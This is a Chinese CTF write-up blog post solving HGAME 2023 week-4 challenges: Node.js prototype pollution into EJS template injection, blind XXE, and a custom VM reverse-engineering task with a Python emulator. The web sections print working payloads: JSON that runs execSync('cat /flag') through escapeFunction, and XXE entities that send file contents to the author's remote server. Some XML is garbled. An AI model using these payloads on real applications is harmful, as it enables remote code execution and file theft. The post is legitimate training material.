文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup
第四周的比赛难度较高,同时也出现了不少颇为有趣的题目。可惜笔者比较菜,做出来的题目数量并不是很多,不过里面确实有几道题值得好好讲讲。不多废话了,抓紧端上来吧(喜)。
注:本周CRYPTO类的赛题ECRSA在数学大佬的帮助下解出;本周REVERSE类赛题vm由大佬Latihas
提供思路指导,在这里表达感谢!
Week4 比赛地址:https://hgame.vidar.club/contest/5
本题考查JavaScript的原型链污染漏洞,关于该漏洞的原理,网络上已经有十分详细的原理分析文章和复现教程,此处不再赘述,可以阅读这篇文章:https://blog.csdn.net/m0_62422842/article/details/125154265
分析程序源代码:
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
// ...
app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
console.log(e)
return res.render("login", { message: "Don't pollution my shared diary!" })
}
req.session.data = data
console.log(data, data.__proto__, req.body.__proto__);
// check password
let user = {};
user.password = req.body.password;
if (user.password === "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
} else {
return res.render("login", { message: "Login as admin or don't touch my shared diary!" })
}
}
res.render('login', { message: "" });
});
// ...
发现登录操作在验证密码之前,先调用了一下merge
函数,将req.body
的所有内容转移至data
,而这个merge
函数看似新增了一个if
语句,将__proto__
过滤,防止住了原型链污染,实则不然。其实变量除了内置__proto__
之外,还内置了constructor
属性,该属性是用于初始化变量的特殊方法,在该属性中包含prototype
属性,而这个prototype
属性指向的内容与__proto__
是一致的。因此,我们可以以这个为突破口,实现原型链污染。
接着,我们需要找到一个可以利用的污染点,以便于我们执行任意代码。再次观察代码,我们发现,该程序使用ejs
渲染后端网页,而ejs
正好存在一个可以被利用的原型链污染漏洞,关于该漏洞的原理,网络上也有很多博主撰文分析过,若想进一步了解可以阅读该文章:https://blog.csdn.net/DARKNOTES/article/details/124000520。
于是,我们根据文章描述,创建本地环境,并尝试提交如下payload
:
{
"username": "testusername",
"password": "testpassword",
"constructor": {
"prototype": {
"outputFunctionName": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"
}
}
}
很可惜,注入失败,网页返回:
Error: outputFunctionName is not a valid JS identifier.
这是为什么呢?我们查询ejs
的源代码后,发现outputFunctionName
这一块的漏洞已经被修复,被利用:
不过问题不大,我们继续阅读源代码,发现此处的escapeFn
变量似乎并没有被test
,而这个escapeFn
正是opts.escapeFunction
:
因此,我们只需将client
设置为true
,然后重启实例(因为若先前原型链被污染过,可能会因此报错,无法再被污染一次),将escapeFunction
设置为注入的代码,即可,最后的payload
如下:
{
"username": "testusername",
"password": "testpassword",
"constructor": {
"prototype": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
}
}
}
提交即可获得flag:
hgame{N0tice_prototype_pollution&&EJS_server_template_injection}
访问网站,发现hint
:
下载源代码,发现玄只因藏在send.php
中,代码的第一行甚至已经把XML加载实体打开了:
说明本题的突破口就在XML上,可以运用外部实体注入漏洞,关于该漏洞,可以阅读该文章:https://blog.csdn.net/weixin_44420143/article/details/118721145
按照教程,我们可以很轻松得写出注入用payload:
首先,在自己的网站服务器创建一个reciv.xml
文件:
<用于接收文件信息的地址>/%file;'>">
接着,提交如下payload
:
DOCTYPE ANY[
<!ELEMENT user ANY >
<你的网站>/reciv.xml">%remote;%all;
]>
<user>
<name>&send;name>
<email>111email>
<content>111content>
user>
即可在接收文件信息的地址接收到flag了。
当然,本题也可以通过网站的报错信息来读取flag,而且不需要额外布置服务器,payload如下:
">
DOCTYPE ANY[
<!ELEMENT user ANY >
%remote;
%parse;
]>
<user>
<name>&getflag;name>
<email>111email>
<content>111content>
user>
最后得到的flag如下:
hgame{Be_Aware_0f_XXeBl1nd1njecti0n}
根据本题的Hint进行解题:
struct vm {
unsigned int reg[6]={0};
unsigned int ip = 0;
unsigned int sp = 0;
bool zf = 0;
};
将结构体导入IDA,然后对反编译代码做一些标注和类型修改,得到以下主程序:
此处的run_vm
函数是笔者自己取的名字,也是本题的主要的函数,进入函数后:
可以发现,其实a1->ip
就是内存的地址指针,code
里存的就是代码了。既然如此,其实我们可以根据每一个函数的操作,用python
复现完整的操作,顺便将代码变得更加可读。于是,便有了下面的代码:
p = [
0, 3, 2, 0, 3, 0, 2, 3, 0, 0,
0, 0, 0, 2, 1, 0, 0, 3, 2, 50,
3, 0, 2, 3, 0, 0, 0, 0, 3, 0,
1, 0, 0, 3, 2, 100, 3, 0, 2, 3,
0, 0, 0, 0, 3, 3, 1, 0, 0, 3,
0, 8, 0, 2, 2, 1, 3, 4, 1, 0,
3, 5, 2, 0, 3, 0, 1, 2, 0, 2,
0, 1, 1, 0, 0, 3, 0, 1, 3, 0,
3, 0, 0, 2, 0, 3, 0, 3, 1, 40,
4, 6, 95, 5, 0, 0, 3, 3, 0, 2,
1, 0, 3, 2, 150, 3, 0, 2, 3, 0,
0, 0, 0, 4, 7, 136, 0, 3, 0, 1,
3, 0, 3, 0, 0, 2, 0, 3, 0, 3,
1, 40, 4, 7, 99, 255, 255, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0
]
data = [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
155, 0, 0, 0, 168, 0, 0, 0, 2, 0,
0, 0, 188, 0, 0, 0, 172, 0, 0, 0,
156, 0, 0, 0, 206, 0, 0, 0, 250, 0,
0, 0, 2, 0, 0, 0, 185, 0, 0, 0,
255, 0, 0, 0, 58, 0, 0, 0, 116, 0,
0, 0, 72, 0, 0, 0, 25, 0, 0, 0,
105, 0, 0, 0, 232, 0, 0, 0, 3, 0,
0, 0, 203, 0, 0, 0, 201, 0, 0, 0,
255, 0, 0, 0, 252, 0, 0, 0, 128, 0,
0, 0, 214, 0, 0, 0, 141, 0, 0, 0,
215, 0, 0, 0, 114, 0, 0, 0, 0, 0,
0, 0, 167, 0, 0, 0, 29, 0, 0, 0,
61, 0, 0, 0, 153, 0, 0, 0, 136, 0,
0, 0, 153, 0, 0, 0, 191, 0, 0, 0,
232, 0, 0, 0, 150, 0, 0, 0, 46, 0,
0, 0, 93, 0, 0, 0, 87, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
201, 0, 0, 0, 169, 0, 0, 0, 189, 0,
0, 0, 139, 0, 0, 0, 23, 0, 0, 0,
194, 0, 0, 0, 110, 0, 0, 0, 248, 0,
0, 0, 245, 0, 0, 0, 110, 0, 0, 0,
99, 0, 0, 0, 99, 0, 0, 0, 213, 0,
0, 0, 70, 0, 0, 0, 93, 0, 0, 0,
22, 0, 0, 0, 152, 0, 0, 0, 56, 0,
0, 0, 48, 0, 0, 0, 115, 0, 0, 0,
56, 0, 0, 0, 193, 0, 0, 0, 94, 0,
0, 0, 237, 0, 0, 0, 176, 0, 0, 0,
41, 0, 0, 0, 90, 0, 0, 0, 24, 0,
0, 0, 64, 0, 0, 0, 167, 0, 0, 0,
253, 0, 0, 0, 10, 0, 0, 0, 30, 0,
0, 0, 120, 0, 0, 0, 139, 0, 0, 0,
98, 0, 0, 0, 219, 0, 0, 0, 15, 0,
0, 0, 143, 0, 0, 0, 156, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 72, 0, 0, 0, 241, 0, 0, 0, 64,
0, 0, 0, 33, 0, 0, 1, 53, 0, 0,
0, 100, 0, 0, 1, 120, 0, 0, 0, 249,
0, 0, 1, 24, 0, 0, 0, 82, 0, 0,
0, 37, 0, 0, 1, 93, 0, 0, 0, 71,
0, 0, 0, 253, 0, 0, 1, 105, 0, 0,
0, 92, 0, 0, 1, 175, 0, 0, 0, 178,
0, 0, 1, 236, 0, 0, 1, 82, 0, 0,
1, 79, 0, 0, 1, 26, 0, 0, 0, 80,
0, 0, 1, 133, 0, 0, 0, 205, 0, 0,
0, 35, 0, 0, 0, 248, 0, 0, 0, 12,
0, 0, 0, 207, 0, 0, 1, 61, 0, 0,
1, 69, 0, 0, 0, 130, 0, 0, 1, 210,
0, 0, 1, 41, 0, 0, 1, 213, 0, 0,
1, 6, 0, 0, 1, 162, 0, 0, 0, 222,
0, 0, 1, 166, 0, 0, 1, 202, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0
]
class Stack:
def __init__(self, size):
self.size = size
self.stack = []
self.top = -1
def push(self, ele): # 入栈之前检查栈是否已满
if self.isFull():
raise Exception("out of range")
else:
self.stack.append(ele)
self.top = self.top + 1
def pop(self): # 出栈之前检查栈是否为空
if self.isEmpty():
raise Exception("stack is empty")
else:
self.top = self.top - 1
return self.stack.pop()
def isFull(self):
return self.top + 1 == self.size
def isEmpty(self):
return self.top == -1
def load(s):
global data
data1 = []
cnt = 0
number = 0
for i in data:
number += i << (cnt * 8)
cnt += 1
if cnt == 4:
cnt = 0
data1.append(number)
number = 0
data = data1
for i in range(len(s)):
data[i] = ord(s[i])
if __name__ == '__main__':
ip = 0
stack = Stack(1000000000)
reg = [0, 0, 0, 0, 0, 0]
load('hgame{' + '0' * 33)
print(data[150:])
zf = False
while True:
cmd = p[ip]
if cmd == 0:
cmd2 = p[ip + 1]
if cmd2 == 3:
reg[p[ip + 2]] = p[ip + 3]
print(f'reg[{p[ip + 2]}]={p[ip + 3]}, reg[{p[ip + 2]}]={reg[p[ip + 2]]}')
elif cmd2 == 2:
reg[p[ip + 2]] = reg[p[ip + 3]]
print(f'reg[{p[ip + 2]}]=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}')
elif cmd2 == 1:
data[reg[2]] = reg[0]
print(f'data[{reg[2]}]=reg[0], data[{reg[2]}]={data[reg[2]]}')
print('data =', data)
else:
reg[0] = data[reg[2]]
print(f"reg[0]=data[{reg[2]}], reg[0]={reg[0]}")
ip += 4
elif cmd == 1:
cmd2 = p[ip + 1]
if cmd2 == 1:
stack.push(reg[0])
print("stack.push(reg[0]), reg[0]=", reg[0], sep='')
elif cmd2 == 2:
stack.push(reg[2])
print("stack.push(reg[2]), reg[2]=", reg[2], sep='')
elif cmd2 == 3:
stack.push(reg[3])
print("stack.push(reg[3]), reg[3]=", reg[3], sep='')
else:
stack.push(reg[0])
print("stack.push(reg[0]), reg[0]=", reg[0], sep='')
ip += 2
elif cmd == 2:
cmd2 = p[ip + 1]
if cmd2 == 1:
reg[1] = stack.pop()
print("reg[1]=stack.pop(), reg[1]=", reg[1], sep='')
elif cmd2 == 2:
reg[2] = stack.pop()
print("reg[2]=stack.pop(), reg[2]=", reg[2], sep='')
elif cmd2 == 3:
reg[3] = stack.pop()
print("reg[3]=stack.pop(), reg[3]=", reg[3], sep='')
else:
reg[0] = stack.pop()
print("reg[0]=stack.pop(), reg[0]=", reg[0], sep='')
ip += 2
elif cmd == 3:
cmd2 = p[ip + 1]
if cmd2 == 0:
reg[p[ip + 2]] += reg[p[ip + 3]]
print(f"reg[{p[ip + 2]}]+=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
elif cmd2 == 1:
reg[p[ip + 2]] -= reg[p[ip + 3]]
print(f"reg[{p[ip + 2]}]-=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
elif cmd2 == 2:
reg[p[ip + 2]] *= reg[p[ip + 3]]
print(f"reg[{p[ip + 2]}]*=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
elif cmd2 == 3:
reg[p[ip + 2]] ^= reg[p[ip + 3]]
print(f"reg[{p[ip + 2]}]^=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
elif cmd2 == 4:
reg[p[ip + 2]] <<= reg[p[ip + 3]]
reg[p[ip + 2]] &= 0xff00
print(f"reg[{p[ip + 2]}]<<=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
elif cmd2 == 5:
reg[p[ip + 2]] >>= reg[p[ip + 3]]
print(f"reg[{p[ip + 2]}]>>=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
ip += 4
elif cmd == 4:
zf = not reg[0] == reg[1]
print("judge if reg[0] == reg[1], zf = ", zf, sep='')
ip += 1
elif cmd == 5:
addr = p[ip + 1]
print("jump to ", addr, sep='')
ip = addr
elif cmd == 6:
if zf:
addr = ip + 2
print("expect zf, zf=True, continue")
else:
addr = p[ip + 1]
print("expect zf, zf=False, jump to", addr)
ip = addr
elif cmd == 7:
if zf:
addr = p[ip + 1]
print("expect not zf, zf=True, jump to", addr)
else:
addr = ip + 2
print("expect not zf, zf=False, continue")
ip = addr
elif cmd == 255:
exit()
这个程序是模拟输入的字符串为hgame{000000...
的时候,程序的所有操作,输出如下:
[18432, 61696, 16384, 8448, 13569, 25600, 30721, 63744, 6145, 20992, 9472, 23809, 18176, 64768, 26881, 23552, 44801, 45568, 60417, 20993, 20225, 6657, 20480, 34049, 52480, 8960, 63488, 3072, 52992, 15617, 17665, 33280, 53761, 10497, 54529, 1537, 41473, 56832, 42497, 51713, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=0
reg[0]=data[0], reg[0]=104
reg[1]=reg[0], reg[1]=104
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=50
reg[0]=data[50], reg[0]=155
reg[1]+=reg[0], reg[1]=259
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=100
reg[0]=data[100], reg[0]=201
reg[1]^=reg[0], reg[1]=458
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=458
reg[1]<<=reg[0], reg[1]=51712
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=51713
reg[0]=reg[1], reg[0]=51713
stack.push(reg[0]), reg[0]=51713
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=1
reg[0]=reg[3], reg[0]=1
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=1
reg[0]=data[1], reg[0]=103
reg[1]=reg[0], reg[1]=103
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=51
reg[0]=data[51], reg[0]=168
reg[1]+=reg[0], reg[1]=271
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=101
reg[0]=data[101], reg[0]=169
reg[1]^=reg[0], reg[1]=422
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=422
reg[1]<<=reg[0], reg[1]=42496
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=42497
reg[0]=reg[1], reg[0]=42497
stack.push(reg[0]), reg[0]=42497
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=2
reg[0]=reg[3], reg[0]=2
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=2
reg[0]=data[2], reg[0]=97
reg[1]=reg[0], reg[1]=97
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=52
reg[0]=data[52], reg[0]=2
reg[1]+=reg[0], reg[1]=99
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=102
reg[0]=data[102], reg[0]=189
reg[1]^=reg[0], reg[1]=222
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=222
reg[1]<<=reg[0], reg[1]=56832
reg[2]>>=reg[0], reg[2]=0
reg[1]+=reg[2], reg[1]=56832
reg[0]=reg[1], reg[0]=56832
stack.push(reg[0]), reg[0]=56832
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=3
reg[0]=reg[3], reg[0]=3
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=3
reg[0]=data[3], reg[0]=109
reg[1]=reg[0], reg[1]=109
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=53
reg[0]=data[53], reg[0]=188
reg[1]+=reg[0], reg[1]=297
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=103
reg[0]=data[103], reg[0]=139
reg[1]^=reg[0], reg[1]=418
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=418
reg[1]<<=reg[0], reg[1]=41472
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=41473
reg[0]=reg[1], reg[0]=41473
stack.push(reg[0]), reg[0]=41473
// 此处大多属于类似操作,故忽略
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=39
reg[0]=data[39], reg[0]=0
reg[1]=reg[0], reg[1]=0
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=89
reg[0]=data[89], reg[0]=87
reg[1]+=reg[0], reg[1]=87
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=139
reg[0]=data[139], reg[0]=156
reg[1]^=reg[0], reg[1]=203
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=203
reg[1]<<=reg[0], reg[1]=51968
reg[2]>>=reg[0], reg[2]=0
reg[1]+=reg[2], reg[1]=51968
reg[0]=reg[1], reg[0]=51968
stack.push(reg[0]), reg[0]=51968
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=40
reg[0]=reg[3], reg[0]=40
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = False
expect zf, zf=False, jump to 95
reg[3]=0, reg[3]=0
reg[1]=stack.pop(), reg[1]=51968
reg[2]=150, reg[2]=150
reg[2]+=reg[3], reg[2]=150
reg[0]=data[150], reg[0]=18432
judge if reg[0] == reg[1], zf = True
expect not zf, zf=True, jump to 136
可以看到在前半部分,程序都在对输入的字符进行加密,然后入栈,最后是从后往前对每一个字符进行校验,是否与程序中存储的答案一致,分析代码可知,大致的加密原理如下,i
代表当前位数,最后r1
是加密后的值:
r1 = data[i] + data[50 + i]
r0 = data[100 + i]
r1 = r1 ^ r0
r2 = r1
r1 = (r1 << 8) & 0xff00
r2 = r2 >> 8
r1 = r1 + r2
然后,加密完毕的结果都会在最后从后到前一位一位地校验,校验过程对应下面的代码:
reg[3]=0, reg[3]=0
reg[1]=stack.pop(), reg[1]=51968
reg[2]=150, reg[2]=150
reg[2]+=reg[3], reg[2]=150
reg[0]=data[150], reg[0]=18432
judge if reg[0] == reg[1], zf = True
expect not zf, zf=True, jump to 136
data[150]
是第0
位的值,经过后续验证,第151
、152
…分别就是第1
、2
…位的值了,于是,我们将它们单独提取出来,写一个爆破脚本,破解出最后的flag。至于为什么不直接计算,那是因为我懒,而且也不会(
最后的爆破代码如下:
import string
data = [
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
155, 0, 0, 0, 168, 0, 0, 0, 2, 0,
0, 0, 188, 0, 0, 0, 172, 0, 0, 0,
156, 0, 0, 0, 206, 0, 0, 0, 250, 0,
0, 0, 2, 0, 0, 0, 185, 0, 0, 0,
255, 0, 0, 0, 58, 0, 0, 0, 116, 0,
0, 0, 72, 0, 0, 0, 25, 0, 0, 0,
105, 0, 0, 0, 232, 0, 0, 0, 3, 0,
0, 0, 203, 0, 0, 0, 201, 0, 0, 0,
255, 0, 0, 0, 252, 0, 0, 0, 128, 0,
0, 0, 214, 0, 0, 0, 141, 0, 0, 0,
215, 0, 0, 0, 114, 0, 0, 0, 0, 0,
0, 0, 167, 0, 0, 0, 29, 0, 0, 0,
61, 0, 0, 0, 153, 0, 0, 0, 136, 0,
0, 0, 153, 0, 0, 0, 191, 0, 0, 0,
232, 0, 0, 0, 150, 0, 0, 0, 46, 0,
0, 0, 93, 0, 0, 0, 87, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
201, 0, 0, 0, 169, 0, 0, 0, 189, 0,
0, 0, 139, 0, 0, 0, 23, 0, 0, 0,
194, 0, 0, 0, 110, 0, 0, 0, 248, 0,
0, 0, 245, 0, 0, 0, 110, 0, 0, 0,
99, 0, 0, 0, 99, 0, 0, 0, 213, 0,
0, 0, 70, 0, 0, 0, 93, 0, 0, 0,
22, 0, 0, 0, 152, 0, 0, 0, 56, 0,
0, 0, 48, 0, 0, 0, 115, 0, 0, 0,
56, 0, 0, 0, 193, 0, 0, 0, 94, 0,
0, 0, 237, 0, 0, 0, 176, 0, 0, 0,
41, 0, 0, 0, 90, 0, 0, 0, 24, 0,
0, 0, 64, 0, 0, 0, 167, 0, 0, 0,
253, 0, 0, 0, 10, 0, 0, 0, 30, 0,
0, 0, 120, 0, 0, 0, 139, 0, 0, 0,
98, 0, 0, 0, 219, 0, 0, 0, 15, 0,
0, 0, 143, 0, 0, 0, 156, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 72, 0, 0, 0, 241, 0, 0, 0, 64,
0, 0, 0, 33, 0, 0, 1, 53, 0, 0,
0, 100, 0, 0, 1, 120, 0, 0, 0, 249,
0, 0, 1, 24, 0, 0, 0, 82, 0, 0,
0, 37, 0, 0, 1, 93, 0, 0, 0, 71,
